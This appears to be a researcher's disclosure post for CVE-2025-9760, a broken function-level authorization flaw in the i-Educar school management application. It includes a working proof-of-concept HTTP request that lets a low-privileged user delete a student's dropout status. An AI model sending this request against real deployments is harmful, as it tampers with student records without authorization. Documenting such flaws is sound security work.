Featured image of post CVE-2025-9760

CVE-2025-9760

Broken Access Control

CVE-2025-9760: Broken Function Level Authorization (BFLA) on matricula API allows deletion of “abandono” status

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-9760

Summary

A Broken Function Level Authorization (BFLA) vulnerability was identified in the matricula API of the i-Educar application. This issue allows low-privileged users to delete the “abandono” (dropout) status of arbitrary student enrollments by manipulating request parameters.

Details

Vulnerable Endpoint:
GET /module/Api/aluno

The application fails to enforce authorization checks to ensure that only privileged users (e.g., administrators) can perform sensitive operations like deleting an abandonment status. By altering the id parameter, an attacker can affect records that do not belong to them.

PoC

  • Authenticate as a non-privileged user.

  • Send the following request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
GET /module/Api/matricula?&oper=delete&resource=abandono&id=206 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost/intranet/educar_matricula_det.php?cod_matricula=206
Cookie: i_educar_session=Mz9IKWGOP641g4BLkSGRnxs69wk4ChmUUxUerX19
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

  • We could observe that the deletion was successful.

Impact

This is a Broken Function Level Authorization (BFLA) vulnerability, as categorized by OWASP API Security Top 10 (2023) - API4. The consequences include:

  • Tampering with academic data without authorization.
  • Loss of data integrity in school records.
  • Potential legal and reputational damage for educational institutions.

Reference

https://github.com/marcelomulder/CVE/blob/main/i-educar/CVE-2025-9760.md

Finder

Marcelo Queiroz

By: CVE-Hunters

Built with Hugo
Theme Stack designed by Jimmy